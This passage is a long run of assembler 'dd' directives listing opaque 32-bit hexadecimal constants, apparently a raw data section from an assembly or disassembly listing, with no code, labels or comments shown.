0F303E18Ch, 0BBD7BCBAh, 0CB7EC176h, 30B10270h dd 0CAE1D6B9h, 0D5165568h, 6F00F4DAh, 4B2F6FEEh, 0D85BEA3Ch dd 51DF28B0h, 0AFA43E0Fh, 2DA921EBh, 0EE84396h, 75600078h dd 76E71E63h, 3B0101BCh, 0CEA4FC9Dh, 2220D599h, 6408C680h dd 18002074h, 0B128FC95h, 6097BFA6h, 1C6639D1h, 0D70F4F1Dh dd 60963AE9h, 0D1791F5Ah, 624502CAh, 3CC7602Ah, 12CD3F60h dd 8E304300h, 351FDB06h, 204567DAh, 4508C01h, 0B610A100h dd 2579431Dh, 202B60B2h, 1993DBCBh, 28E67C30h, 0F4037361h dd 0A27F03ABh, 0A02786C0h, 210089A3h, 0A4038B50h, 0D9B7CAh dd 34669F56h, 1D598840h, 63A1F600h, 0C068D4Ch, 1481002Fh dd 0C12E5D07h, 180074E0h, 0CDD64BE4h, 6747F4h, 0A8277FDFh dd 0E0B5423Fh, 41ED6D00h, 0D6CDBD7Bh, 0D10E00A1h, 25208594h dd 8F02A8D4h, 10E1AA26h, 33D280AEh, 0B82D4265h, 0B02800A6h dd 0C261258Ch, 0BC00E4BFh, 263C5C20h, 0A8B211h, 0F50DFCD7h dd 0DB429BC3h, 0B1D9D300h, 7651C41Ah, 8F4C03FEh, 0BAE7AA57h dd 4AC539F0h, 38133Ch, 0BE776029h, 346570D6h, 6E102706h dd 0F8010C04h, 7E9D105Ah, 6D1A0257h, 47BEB0B1h, 0EADEEAC1h dd 0B7A8F80h, 930053DFh, 6E565C26h, 4A8804h, 175BFD0Eh dd 0ABDF745h, 28546201h, 0CA316199h, 37CEFCh, 0B6DFFE30h dd 48AFE6E5h, 6058A900h, 0DE2443C9h, 0FC985A28h, 1D5898h dd 9D6E6A7Eh, 0EC830h, 87A8847Dh, 78BC28DFh, 0ED13C401h dd 0D612F209h, 943760h, 25F50F6Eh, 845C8EC1h, 0D4E5E800h dd 495806ECh, 0F7F43D1Dh, 86403A80h, 38D31E61h, 9D72BE39h dd 0F08558AAh, 49C3FD94h, 0E49D8F4h, 33440747h, 50013924h dd 3F85F0C2h, 0BB03B700h, 26FF62D8h, 9492001Eh, 0C8739F10h dd 0F0B3844h, 80BF1C5Eh, 0D159FE57h, 53C2193Ch, 60646837h dd 2E00256Eh, 0F7B54F5Dh, 743D4B8Ch, 0C14D3ED5h, 64ADA080h dd 8EAFC208h, 8313553Eh, 0F0A7CC4h, 0A072CAD7h, 0F8EEBFDCh dd 583460B5h, 93DF3C86h, 6600A7FEh, 0ED0A7EAEh, 0C7FEDAh dd 3E12C160h, 34F7CA80h, 927FBC04h, 3B8145A0h, 4246264h dd 704D00ACh, 0EF4AE44h, 0BC772166h, 28C1041Eh, 19FB15C0h dd 0E238F7h, 973E228Ah, 923AF475h, 18FECE00h, 7D9D499Ah dd 3D8500E3h, 28068B4Dh, 6B7453DAh, 38140475h, 3E9893D3h dd 58F980DDh, 5D0227A9h, 133400B0h, 90EAD42Bh, 1D00B39Dh dd 757DB71Ah, 2CFB83h dd 780F8458h, 87A33CAEh, 92948203h, 0B8127ADDh, 3972F0D5h dd 1F0E0FCh, 17BF74F5h, 60654F0Fh, 0DC03EA30h, 0A380F049h dd 5E6EC01Eh, 59C003C3h, 3CB1D157h, 0B0557B80h, 86E17300h dd 60BD5FFFh, 1E760766h, 709802B1h, 29D12515h, 8B13BE00h dd 648EB430h, 96F62421h, 7AD780C8h, 71F4B6AFh, 4357E100h dd 0DB621FEAh, 0EFEC0061h, 51074C85h, 83002A26h, 7E23D871h dd 0E6E4020h, 74DCD0A7h, 518A78C6h, 0BF002175h, 4466CDD8h dd 0EAEA62B0h, 0BDE2C9h, 6E21F1B7h, 0D7757EB3h, 31DE3Fh dd 0E7DC4465h, 0C6D2837h, 1453E302h, 2B775CC0h, 88A0F77Eh dd 82790B37h, 5130AF1Dh, 6A1E8140h, 244E96h, 54673BC8h dd 4C5EBFC0h, 3F91A800h, 7A6DAE23h, 2A720EE1h, 0E02356DDh dd 5BE3FAF5h, 609F7800h, 0E58A80CFh, 828900D6h, 417A144Eh dd 0F0268B1Ah, 0B3813870h, 3077D875h, 0E6DDB181h, 60682924h dd 80609E5Eh, 0F1114AB8h, 6DEF003Eh, 6E0BDFD0h, 0F004191h dd 0A1955AA3h, 0E54FF50h, 1EE8F946h, 60422987h, 6DC214EDh dd 8BE23D3Eh, 80369BFAh, 954C467Ah, 0BFAF00BBh, 0D3863754h dd 6C07E190h, 8C1EB01Ah, 5CFDC480h, 5BF317BCh, 759400DEh dd 7A8E9E9Ah, 8A513D03h, 0A8C9E218h, 0BA3236h, 0A2B7789Ch dd 0A08359D4h, 885B8700h, 41AF6D31h, 0E96B004Ah, 26723339h dd 7D00D6D9h, 8C35A4Bh, 0BAEC99h, 0DAE9D230h, 0CCC819B3h dd 118E0C00h, 1B805D8Dh, 1F18F6ECh, 38A77FDh, 0F1A78FBFh dd 0BBC8E188h, 0A4BBC3Ah, 0AC74C037h, 459D1C07h, 0FA02FC80h dd 476D0051h, 573ADE6Bh, 3230A9ACh, 0D208B8A2h, 2BE7009Ah dd 0A54A69EEh, 98385433h, 7DEB0084h, 8107EF25h, 0C5480746h dd 708A3B97h, 8959A5A4h, 476E6900h, 0D64F1C9Dh, 1D200E1h dd 0A2ED3D4h, 0A900EE3Dh, 9561C536h, 0AEFEBEh, 0F871645Eh dd 0CB2FFFF2h, 0EB086B1Eh, 9281BB1Eh, 1CBC5AA1h, 0F4C9D8E8h dd 0CEFE3093h, 479C37D1h, 719E1612h, 791C1440h, 97E899h dd 0B68B0F45h, 4DBB4302h, 0AD041A00h, 0B31049AEh, 0E8003A0h dd 18A5B86Ch, 0CA0611E8h, 30035175h, 0A06D02F1h, 0E868D3A4h dd 7ADF38h, 0EF10CCE6h, 0DE178F45h, 15489000h, 0BDB31B40h dd 0DA7705CAh, 5D6A91h, 0FB3ED8C2h, 100EF93h, 2E49B8AFh dd 24F17Ch, 0C32163B7h, 0DA085A5h, 0EE48B4E0h, 987E0045h dd 44691E67h, 0FD410002h, 0BB0D8B16h, 2C2C6555h, 6A9FE82Bh dd 81BC15C9h, 721D107h, 1B6EF0DBh, 20F0A68Ah, 0D5E65312h dd 0F8F74A00h, 0E8FE7213h, 44A539CDh, 3255FA00h, 3BA2E3DAh dd 0E4174D00h, 0C9756D97h, 0D8CB12ADh, 0DB9C0055h, 0F4FD05B0h dd 70729403h, 0A761EE28h, 4DCDE351h, 0B3FFCCh, 84B09541h dd 9C4A9713h, 0F2B9F700h, 0FA614324h, 3747004Dh, 4CDCF0E8h dd 0EC20F77h, 40720C9Fh, 86832h, 51A03FBBh, 53CED809h dd 0D55F0E02h, 0E0FD2734h, 11BE38h, 73258FB5h, 5A41E4FBh dd 0C5922C00h, 9E7EC4A6h, 6BBC07E8h, 40AA216Dh, 2EF1BD1Ah dd 0DA0DA700h, 1E18CB15h, 8E4B005Fh, 0F83DD093h, 6A1F9E47h dd 5D404584h, 1D1244D6h, 22405E0h, 0C0D406C1h, 8AF4C033h dd 0D2AB2E0Eh, 0C7BF4096h, 0F0180346h, 0ED2800E4h, 2EEB52CCh dd 0B400A90Ch, 2B0BAFFCh, 3B5949E6h, 0B8E2B56Eh, 0E28003D6h dd 3128AC68h, 0ADD75C00h, 59A88EF0h, 15890058h, 1542549h dd 0EF0BBAFFh, 20287A75h, 16D122E8h, 2BFEA121h, 0FB510D0h dd 0AB04137Ch, 0C0AA26E5h, 0ACA31B0Ch, 0BE347B1Dh, 0BF818E40h dd 8B111Eh, 97B5AF8Dh, 0F9CAB8B0h, 812CAA3Dh, 0BFF43461h dd 68BC7546h, 2F102431h, 2C20167Fh, 0F6BD85h, 0FD74143Eh dd 0BE0E37ADh, 0EB862BFCh, 0B810A159h, 0B080D0A9h, 0C3CBEFD8h dd 9600E3B7h, 0A6102BE9h, 0CAF8894h, 78A8F4DCh, 3A0F3838h dd 0E39D08h, 0DFCCDD90h, 7654009Fh, 4C3593C5h, 1700F9E5h dd 1BAB80CEh, 0E43027h, 0C7D3454Eh, 54E25F16h, 7077F200h dd 4C6AE701h, 0F46DE8B6h, 94501E02h, 5BF643A5h, 29CB18DAh dd 4BC10AF0h, 0D42B3B24h, 5A327600h, 5D72D0h, 1E29BDD5h dd 0A598F6E4h, 0E13AF31Fh, 0BA146C0h, 7EDCFB93h, 8402506Ah dd 86600A1Ch, 81D02A03h, 1F360FC7h, 0AC0700A0h, 3E08CC14h dd 17006A21h, 9DEBCF36h, 1A83437h, 22132F4Ah, 706D2C93h dd 0A201622Eh, 2977C22Bh, 0AC575083h, 71B8A800h, 0E7B006CDh dd 8C8D53Dh, 15214960h, 3DCB881h, 0BDA34C87h, 48067D75h dd 27FBAFE0h, 7354650h, 0CD65B8ACh, 3B32E294h, 0B8841920h dd 8C8F00CEh, 9DAEC80h, 54619DE5h, 0F6386021h, 7F08BCh dd 0F2091CAEh, 4DEFB9C4h, 4C05F100h, 88E504D2h, 0FF510F97h dd 56A06896h, 3421F2E4h, 3A808A50h, 0A3240A07h, 0FCEAA169h dd 961E200h, 0E3EBF0h, 802FDB26h, 46C45329h, 63382560h dd 3B48E8h, 82EB946Ch, 117DB0E7h, 35D71300h, 2E178001h dd 5ADB00B3h, 0C679F2D8h, 21267BE2h, 86003ECBh, 47679B0Fh dd 4EBA0045h, 2E8E3FF2h, 9F4C5781h, 9A8F001Ch, 0DA1AB4D7h dd 0C0C200FCh, 0A658461Dh, 0A300047Dh, 0D775537h, 1E749F7h dd 0F8C2B88Ah, 0E47813B1h, 9B047BBBh, 1D208FFCh, 0AEF03580h dd 96E20721h, 0C006232Dh, 93D5AA1Bh, 738CC5Ch, 0C422356Eh dd 0D847A113h, 0FE4416h, 0F6329061h, 0A67FDD64h, 912BE00h dd 0CC94DB7Dh, 877C1817h, 0B6E418BDh, 81991403h, 0EE77F73h dd 12D3F258h, 4472E547h, 5369C06Ah, 95007E25h, 0DB7FBF4Eh dd 1E26FC6Dh, 1DBE0F9Bh, 0C3730065h, 0C2441AB1h, 1718B766h dd 32A7958h, 9E50CEE6h, 0D1F836CCh, 0D7180C41h, 52716CB7h dd 0FAF612h, 0DD053CDAh, 0AB2069F5h, 0CD009B7Ch, 0C62B46DEh dd 0C0806495h, 0FC1AD530h, 68C6AE1Eh, 3C499EB7h, 4A01AA3Ch dd 0DC791249h, 4D57D82Ah, 2D941804h, 85003EB6h, 0D18F4E02h dd 0AB540E00h, 38B2DD1Eh, 0C8F40039h, 9D3BA307h, 0BD73E8FFh dd 6316800h, 70B5847Ch, 8BA500D8h, 0D181B8A1h, 250A4F9Ah dd 916E27B7h, 43E10300h, 0FE391Eh, 0D1F1B468h, 0B775BC78h dd 0AFDD5F1Dh, 7731DF40h, 16C3A260h, 0C588E3h, 26E0D57Ch dd 2004F46h, 4AE1DEE5h, 0C9CADFh, 8D03BC79h, 61241132h dd 0E94F8600h, 0CADB1E19h, 7BAE00D1h, 0CB558EF6h, 6C01837Ah dd 0C95FA712h, 88874AA0h, 70BFF5D6h, 65021E2Bh, 0D58D4200h dd 13457E3Bh, 301403D4h, 0F4EF09FAh, 1E79F11Dh, 0ABA7C040h dd 4B0CD9h, 0D77BE469h, 0A4BE30B3h, 0B4D2D303h, 80CF2DA9h dd 1B5609Ah, 0BB4783F1h, 80E14535h, 61E53948h, 0BD3ECAA0h dd 8A0E2A70h, 0B896CBF5h, 0ED964A8h, 0DCE36778h, 0D382C8A0h dd 0F230DA69h, 6DC441E8h, 32EA037Ah, 9AD7BF15h, 3EF5D188h dd 0BA35D200h, 2BAD3FDFh, 0E2F403A3h, 97B4150Fh, 870A5387h dd 1EE760E7h, 8A3D8973h, 7B11833Dh, 0A8339243h, 3A1C6F1h dd 9AA75FAAh, 18A35E57h, 58E12100h, 63D47F1h, 2F3E00D3h dd 9B41978Ah, 5E024D6Ah, 882A3315h, 0F4F98113h, 38BC6C1Eh dd 55105B01h, 6062B3EAh, 7E63FE33h, 425808h, 48384520h dd 35AFB877h, 94AD1F00h, 0FDE82130h, 0E34E33F3h, 896413B0h dd 0D6039B8h, 0A110D2F1h, 1EC85E0Ah, 0F615C580h, 4D913h dd 376FCA6Bh, 79A88C3Eh, 18843B40h, 193CA678h, 2640AA88h dd 0A09C011Bh, 916CADA7h, 89F8F776h, 6430301Ah, 582031D2h dd 0EEDB003Ah, 5C861711h dd 0F1063195h, 0C3DFBB16h, 35F2D6h, 1EC6B565h, 374F6FF3h dd 0E1853601h, 75493216h, 6241D4h, 64BB28F2h, 5BE64AA2h dd 5306DD75h, 46E58A8Eh, 61023009h, 0DBB10620h, 0F157AE00h dd 6C146520h, 6F6B0637h, 490DC6B9h, 2B1DAA00h, 0AE309D3Fh dd 28B63129h, 806CC408h, 2B45A120h, 1C95DD9Ah, 1ECE5DBh dd 0DECB2FCAh, 5D688062h, 0D7E4D0F9h, 7B771D69h, 0E1BE0E66h dd 4A9849A0h, 39526264h, 0DD42025Ch, 319653B3h, 215180DFh dd 73D1DBB5h, 3A521C14h, 542C078h, 97CBCFB7h, 2869C830h dd 0E2064C6h, 0E6DD7D9Bh, 4C3C0093h, 4869D219h, 2BCBE01Fh dd 0A28229F0h, 0C5AF5C29h, 196E0826h, 806D08A4h, 29F06221h dd 1CB8E8Bh, 0E1C4521Bh, 139FF180h, 4482E985h, 81C4AFF2h dd 0BD4FFBCBh, 2384E0h, 1D473E73h, 223B9C06h, 0DABC960Eh dd 189A401Eh, 0E1C88Fh, 0CAC95D54h, 8EBADCA9h, 0A23F1D00h dd 0E263E93Ch, 4CF06B7Ah, 0ED731301h, 15C320DCh, 1732FC00h dd 99B44505h, 0E49B002Eh, 0F57830CFh, 6300DA66h, 0D5803DDCh dd 13C4C7AFh, 0C02FEFh, 0D253F503h, 6500D703h, 4F29FDA4h dd 39225EAFh, 7E035D85h, 61986CECh, 0CF0D6A88h, 0FFEF5B00h dd 3701881Fh, 47AC1F2Bh, 44964EA1h, 494E9B20h, 0E3008A7Bh dd 1F08B152h, 0E0D5F40Bh, 327F00CBh, 0A388E880h, 9D00B093h dd 3092813Ah, 753E27A9h, 6731F41Ch, 0DC73084Ch, 18007020h dd 763614A9h, 38D3F7F8h, 163ECC7Ch, 289FF995h, 6B2CF7ACh dd 0C8004936h, 42498EB9h, 6AE65CD5h, 7DE0007Bh, 401BB6BDh dd 7501FD38h, 436E6CBAh, 54CCB29Ah, 0B5DB3730h, 0E7D8050h dd 35014E5Dh, 12AEE7B8h, 70D0F950h, 4C20C03Dh, 423E5EB5h dd 0E211F409h, 0ACDA8009h, 31E17C91h, 9D298CCEh, 0D95621A8h dd 5A11813Fh, 0CC59F40Eh, 37169FE4h, 9F08C7B1h, 365D20D8h dd 2F9F400h, 6E7627F2h, 21E7F89h, 406CB958h, 54903654h dd 60115E98h, 5A88A835h, 0FED694h, 0B5DC8B78h, 903197CDh dd 0B45A5050h, 91E600ABh, 0CC8C68EBh, 282A8278h, 2E0CC006h dd 28646676h, 37C8013Fh, 0B1A6CEADh, 3368C885h, 0D2895400h dd 0D61E6EDDh, 6F2507E2h, 10ABF14Ch, 76BA6556h, 5007DFFEh dd 3C88781Ch, 0B2BB0BE0h, 2A110070h, 68DE47CBh, 0A3025523h dd 0F3377309h, 964BC00Ch, 7DECDDh, 92FE35E6h, 7B559BA5h dd 3000F698h, 62FAEFFDh, 7E3BB58Bh, 0C4768Eh, 4AF3E3D1h dd 6358E416h, 9FAF5200h, 7372DB70h, 9BF428h, 0B5B40419h dd 9559BCBEh, 2400EFF8h, 0BF69C83h, 318AEDAh, 2B0CA9E4h dd 3800937Dh, 0DD57FA60h, 12FC31h, 2990D55Eh, 0ACF89666h dd 5020C400h, 87583728h, 405004Bh, 0DF9386D3h, 68E0D1FAh dd 50E91C00h, 0A76E0F7Eh, 59C61CE8h, 557C40C7h, 0C0F8B60Bh dd 20658036h, 0D53D0018h, 7D16A626h, 0BC00DADBh, 0E90EF096h dd 0C4E34DCh, 0FC6850B2h, 0FE0FE548h, 4001B635h, 0B5C1C587h dd 44B907F7h, 30E669FDh, 1156F247h, 23006174h, 7E955835h dd 0AC476EBh, 8CDCC98Fh, 7C3F8090h, 3B750569h, 0E5CC4D01h dd 2CAE9714h, 0B3C0CDC3h, 302F3562h, 0C53066BFh, 2E0011F8h dd 912B383Ch, 7ADE8F52h, 0CAB00053h, 0C9FAAD0Fh, 0DC07CD70h dd 0A468311Eh, 53276F20h, 1C73E40Bh, 9E24DBE1h, 0E7BD00ADh dd 6851FC66h, 2AE50E13h, 5AD58103h, 75AA80E1h, 1B6E066Bh dd 18E3C72Fh, 0CABF2600h, 0D611998Dh, 0A9B60007h, 883F5202h dd 98008C62h, 3C3BCA6Dh, 0CEB947EEh, 0BDE02D11h, 48FDF5C4h dd 18387518h, 3CD408h, 0E187CA6Ch, 11EA1EB2h, 2DC43300h dd 489A9347h, 0B91C038Ah, 0FE77988Dh, 603FB200h, 578567D9h dd 7D0900CAh, 7A7E9C62h, 8F60AB21h, 3EE5D670h, 0DC04001Ah dd 2859970Ch, 7A00416Ch, 498F29A8h, 3A39F0B1h, 4000656Ah dd 0ECA094F4h, 710CE7A1h, 0D04DF20Ch, 6D851CDDh, 102C996Ch dd 0CD6C4A3Ah, 6C0020B1h, 793DF78h, 0E7A05CE8h, 0A243CFFAh dd 7001C32Ch, 36BF8F95h, 8E300A14h, 0D03F26C5h, 7DE16D0h dd 1A9EE507h, 668008Ch, 344F20EAh, 380379ECh, 0D6AF22E4h dd 49179087h, 5C300BAh, 0B6C8DF48h, 5878E1D5h, 4C71BE00h dd 64D14BD8h, 0F41E007Fh, 22A7F8B0h, 0AF742DD0h, 8F190800h dd 128E6AF6h, 0E59C0018h, 13F177E0h, 9A002DFCh, 1B32C0A5h dd 7AEE3721h, 2854339Bh, 12F98540h, 3FA86047h, 0DE74ED03h dd 0F6C21F84h, 3DA9176Eh, 0F2DD0168h, 0E4A6229Bh, 5403BC83h dd 2858D12Fh, 7BF8900Fh, 1E3FF8AAh, 186F14FCh, 0CBF7A19Eh dd 19CC7300h, 12DBED13h, 0D68F016Eh, 6F10B15Dh, 0F434F98Dh dd 910D3C2Ah, 9933FDDAh, 3CF211F0h, 0D806237Bh, 68611606h dd 2C24120Fh, 68EA8385h, 0EEC7B0DDh, 9B0D018Ch, 0F867E0CFh dd 282770E3h, 958A4D0Fh, 299A20A8h, 0AB241Fh, 0FAC08D06h dd 0EED5A57Fh, 5700287Ch, 0C546F717h, 1D5A32BCh, 40135D2Bh dd 0C7F1942Eh, 0A548BBA7h, 0CF0501B6h, 52AE014Dh, 31D4D4h dd 0CCD96BEh, 9E39460h, 0AD76901h, 0CF9A97DAh, 3CD0BBFDh dd 3693015Bh, 388F9DB1h, 2B75E03Fh, 55BA8900h, 0D3BEF639h dd 0E6210714h, 0AF69D4E4h, 0F796FBE1h, 0DBEBFF26h, 8EB655D8h dd 0F21BAF06h, 196EC7h, 57B0C59Ch, 0ABBAA53Fh, 0BC3B40h dd 874207A7h, 7EE826F9h, 790C030Fh, 0E232CF8Fh, 6033F39Ah dd 0C9F97B0h, 2C864725h, 0AD001398h, 0E1297066h, 19E31E7h dd 6D75260Bh, 0D793AE05h, 7EC040C8h, 80B8953Dh, 28AB7F12h dd 3F3207h, 26FCA1FEh, 8A453B0Ah, 0E9A45050h, 18B2F000h dd 0E1821CA2h, 7B770EDAh, 0F814B359h, 0FBF3E607h, 36009975h dd 135F1D3Bh, 84172F00h, 0FC5DE65h, 37FAC2h, 0AE4B9B41h dd 0AA385BB6h, 0FBF6EE00h, 4DEFD521h, 0BFA700B9h, 0A8C1903h dd 0F1188898h, 49283E3Ch, 0E7A86h, 0D785BF2Bh, 83AD3ACCh dd 0B52EB106h, 5144FCh, 0E6FEBE6Ah, 5BE2171Dh, 702E8D00h dd 81670D27h, 2DB312C2h, 87BC12h, 4E068F64h, 5C970BAEh dd 80002D8h, 0E0F515Ch, 849017B6h, 1115741Ch, 2084BEC7h dd 18F036h, 0C3F81D09h, 8C80954Bh, 0FE5921Dh, 50E0DB41h dd 71E096EFh, 0A1B600A8h, 69B54148h, 0E200E49Fh, 4905C886h dd 0DE1A38h, 46ECA6F7h, 15AB7D0Ch, 0BA6B3518h, 0C1BFCF1h dd 0F8479791h, 7400B930h, 41C6F067h, 0FA0D54h, 4334C3FDh dd 9FDED78Dh, 4229AA1Ch, 0F12705C0h, 0C7AB9Dh, 601578FCh dd 9FB54DA2h, 8701097Ah, 52D17642h, 0A0E05333h, 0D89A00D7h dd 26BE1084h, 0E40013EDh, 0A9ECD565h, 0F0A6186h, 540CB9FFh dd 0DD52D420h, 0BA00B519h, 0D5079A82h, 0D180D7h, 227C5E70h dd 8C06B20Dh, 0D42B8407h, 0FD4058AFh, 9DC9D3h, 48D7AE1h dd 0CFFA516Bh, 7D5C7374h, 0B84A000Eh, 72A1D828h, 1ABE0048h dd 3CFD12D1h, 60C52E34h, 14801051h, 3EFB570h, 49C3EBE6h dd 8801B1E9h, 19C07669h, 109FAEFDh, 720E8084h, 802FE92Dh dd 0FFBA95Ch, 6F8F32D0h, 8757E0BAh, 707B3Ah, 86835415h dd 6DCB675Eh, 61FC9700h, 58EA7DA8h, 7F450C52h, 0C31876A7h dd 0BCF1A60Fh, 96809D5Ch, 65DF83D1h, 2E57013Eh, 0FA6D43D4h dd 89B04073h, 0A201700Dh, 0DC34FDEBh, 0C0E01E72h, 58C96059h dd 0A477ABDh, 270D8F00h, 57FCCA86h, 28490ECFh, 0A940772Dh dd 3337C42Fh, 72816A00h, 4795149Ch, 3AD974BAh, 0C880A9E0h dd 5D6D4EBh, 0F11DE736h dd 3AC32580h, 0B020B53Eh, 0F2F40D3h, 0EFD7D914h, 0D1BA04C1h dd 40F238h, 291F2C80h, 4B000F4Fh, 36E19727h, 4C7ED6h, 5D1073Dh dd 0ED6C198Ch, 0C0FA18CFh, 0CA3E5976h, 713D0073h, 0D7B9DF69h dd 1E060E88h, 55DA034Eh, 27590038h, 5E95B4BEh, 0A8153D44h dd 0BC2CE231h, 0C2174382h, 8694BD49h, 6082F7Ch, 0A660A1D3h dd 1EF860F7h, 2779C107h, 82AED20Ah, 8054EB4Dh, 65D53390h dd 7D8B0F0Ch, 41199B12h, 0D7B7F4DCh, 0B9CB2800h, 30DF5815h dd 0EFCC0FFCh, 0A32716BDh, 801D0E8Fh, 0E410BBC2h, 41009C55h dd 45286F31h, 0A4E8156h, 9F99F7D9h, 73094024h, 7807EFC3h dd 711341ADh, 967FEC30h, 0C2B0C304h, 88013AD8h, 6A6F97ABh dd 0EF8E099h, 70FE30h, 1BD7D76h, 0A4498EACh, 7B9E940Ch dd 3961D017h, 10013223h, 4BCB8D31h, 0A79C40FBh, 3B00E055h dd 89CD08FEh, 0F4A43A48h, 0BF10306h, 0C5635904h, 0F062F4C1h dd 0AB0039C7h, 21B37FF0h, 5FBA87h, 57C4DE52h, 0B2DA4A1Dh dd 3CD348h, 53E06045h, 25A3F85h, 9CB4F431h, 2C402644h dd 2005FD75h, 0D3F56B48h, 25C6AC00h, 1C2DB0F8h, 0C5CAD7EFh dd 80E7A5E5h, 494D3A75h, 84645629h, 0C8D915h, 0F0BFF793h dd 0F1C785h, 4499922Ch, 0F6FEEC63h, 0B0FFE4ABh, 0A3ABC13Ah dd 0CD7D3C00h, 1F0F4EF3h, 22590121h, 5F045B38h, 338880D5h dd 0E7D658ECh, 0D44450B6h, 0B41600B8h, 79F1F9E4h, 9C0045C6h dd 0C0CA6EA9h, 57262Fh, 4F75B9AAh, 205D06D0h, 0E6A24600h dd 9B1EAEBFh, 0F23F00B0h, 2E735711h, 8F3DAAA7h, 7E3009Ah dd 5CD6BCCEh, 5F4B0001h, 0DA67D359h, 6B313715h, 0A7B238B4h dd 19ED5082h, 8AC0B04Bh, 0BD7158E1h, 0C4F23C1Eh, 8D995906h dd 4EAC1C29h, 6012C0FFh, 0D8C9E30Dh, 94300274h, 7CE12016h dd 0B28600F9h, 0A56103D2h, 5B00D4A9h, 6DE3AF60h, 1A5380h dd 0BD84CE74h, 0FB036FCBh, 9FBCC303h, 0F3A60886h, 5A62C0A5h dd 287D4Eh, 13DA6F50h, 0FE5EEB8Ch, 0A234B14h, 80403AFDh dd 9021ADECh, 0E66281h, 0D0DB7404h, 474480FFh, 80791A3Eh dd 1B836CD3h, 3431C08h, 80EB9E7Bh, 0F9B877B5h, 6600A389h dd 1AD7C275h, 7DDA5Bh, 0D6C70F48h, 0B07CEC3h, 0C4002172h dd 6286440Eh, 0E5AC61h, 9AD5689Eh, 8CA15696h, 0B2697E00h dd 368F87C8h, 9055001Ch, 988E4335h, 240021CCh, 0EBAFBA2Eh dd 305B1BEh, 751AF0A3h, 1014BFD3h, 0FC04B21Dh, 0C6D22C46h dd 0A3DA00F1h, 9189F2D7h, 0E7649403h, 0DA8674CEh, 9EB58032h dd 48511D20h, 0C8007B66h, 18036957h, 0CD07ADA8h, 37856780h dd 0A809D313h, 0F96A25h, 0F17026Fh, 0FDA0B98Ch, 6141F20Fh dd 0C632602Eh, 197CA44h, 154963E0h, 0E5988B87h, 0F44AE88Ch dd 0A027F100h, 0C081F67Eh, 9FD90067h, 1B3B8E5Ah, 0DB00B89Ah dd 3EADC13Ch, 5973161h, 0A7463F67h, 2A9000F2h, 78A834B3h dd 702FB624h, 8AAB6D00h, 380FAE6h, 664CEB8h, 36D8C257h dd 0E9001381h, 0C114886Fh, 60B18589h, 3170482Bh, 0F9FCF405h dd 1BDF7400h, 0F06216CBh, 0B9BD0E80h, 817C6AFDh, 764459D1h dd 402020AFh, 8FCDA318h, 42BA0Ah, 5F3F6C5Ch, 0A512BF49h dd 4A27EB00h, 0F9F0C3A1h, 76A01E80h, 0A23382E1h, 61E03DF8h dd 0EBF66E73h, 72296400h, 401820E3h, 3C1900EEh, 0F501FB22h dd 0A90071CFh, 2D0391C6h, 0AE0C7AAh, 13FD780Dh, 664D07F0h dd 6F706060h, 1A1C64A3h, 0EAC11968h, 83E99F0h, 9A48ECh dd 0CF963FFh, 2AA6651Eh, 0BF893D02h, 8F9D3E54h, 1E686E98h dd 0CB2C8B87h, 7983BB71h, 3D848C8h, 0F227A258h, 288977Ah dd 0E2079BB1h, 0C2E539DDh, 2C402Ch, 9E41AC25h, 351AD19Dh dd 0CC754800h, 53FB0820h, 0EFE706Ah, 5F887BBh, 503F03C0h dd 0D81F91E0h, 8900ED78h, 46717B63h, 90DE7933h, 79DC0524h dd 0C0A0B307h, 738E3A5Ah, 0C5E72C00h, 46D2AE6Bh, 0C6073EBFh dd 0FCBCDA00h, 4166C1AAh, 0D8288C26h, 0B2221400h, 0C0E872F7h dd 0E1DF0250h, 3E009E20h, 97546D78h, 0C0A5A713h, 2FCA2CA8h dd 74000AA6h, 6A3B91F1h, 290FB1h, 0DBB1546h, 19D18D4Bh dd 883DB200h, 53955D81h, 0BE802407h, 913E00B8h, 0F48BA672h dd 0CEBB3B18h, 7DEB3158h, 0E9A3A0EDh, 980103A5h, 0A1E437E2h dd 217DCF98h, 5E40C165h, 1468D600h, 0E01F1A8Ch, 218F258h dd 16369810h, 70487C07h, 1E982834h, 0C69E5801h, 8BCF2A06h dd 3C50B0C9h, 1A2F182h, 0BD138EA1h, 8EDE51DAh, 0D2165A18h dd 43D66C01h, 73ECB025h, 0DF60E36h, 57202786h, 0E056679Dh dd 3D005BE6h, 2D061749h, 450257Bh, 30E909C2h, 0EE888007h dd 7700CD3Dh, 0DE897033h, 0F7C512h, 0F0CAA05Fh, 0E096617Ch dd 239DA502h, 0C0970F5Eh, 379CA2h, 0DD29F23Eh, 6795A09h dd 0D083B700h, 4A8FBF05h, 0BE65005Ch, 0C83734DBh, 0B700390Bh dd 7EE2B0C0h, 3F8B4BC7h, 7280B590h, 665B36B1h, 0E1496833h dd 609E288Ch, 0C5A8551Ch, 79FA8200h, 6142D1h, 32A0714Fh dd 76F1595Ah, 6BFF8B00h, 3ABB95FBh, 0E36D019Ah, 0CD060583h dd 218AD054h, 85980976h, 8EBB9106h, 3E607B85h, 2B92CE3Fh dd 5F3001F7h, 0C54863E8h, 2410B8E1h, 0B41FB817h, 0EC5EFE00h dd 8F902Fh, 0E7E7645h, 0A22AEA9Fh, 8997A303h, 0A99552E3h dd 0D441A479h, 3CEC9BCDh, 4A5001Fh, 0E891481Ah, 3D7403B7h dd 2E38800h, 6687508Dh, 0CFFF006Dh, 981EB9C2h, 6B3DCEF8h dd 647C80F9h, 2851C1D3h, 0FE77002Fh, 29E79F7Fh, 0A800354Bh dd 0B9A5FAC0h, 0F6434F74h, 39E254h, 4B77A96Fh, 9AF00C8Ah dd 0EB794805h, 0EBC514h, 96C9CF24h, 5700AB3Eh, 0D3BBDF4h dd 0EA2F6288h, 9A790054h, 802DDE78h, 36E2553Eh, 13846338h dd 6409994Dh, 0B6942313h, 33D0C847h, 0CFE50015h, 567A75E6h dd 0CA756671h, 31906100h, 5AAF079Ah, 1C2D0099h, 1F184A60h dd 6B3977F1h, 90D6AC4Ch, 76A2900h, 3CFB10DAh, 0DE00F966h dd 9A54EE38h, 59F85F45h, 0DA7D8100h, 63981122h, 0BCC02685h dd 49B19D60h, 14A03F4Dh, 7A3C3B73h, 0EC4BB50h, 3A464A07h dd 9234E9F1h, 0C56AE490h, 8F44001Ah, 4FE2D0BFh, 0F0112F5h dd 8272F610h, 0E464ED2Eh, 256907C6h, 90D409A2h, 93DB7959h dd 3B406552h, 0EAA911F7h, 8D5F0500h, 687D99D9h, 73699D00h dd 9F1D55A0h, 8FF51E56h, 0DAC14038h, 0D0378940h, 5F695300h dd 0A778D60Eh, 24A809D3h, 0DC004801h, 61F982F2h, 8C6B111Ch 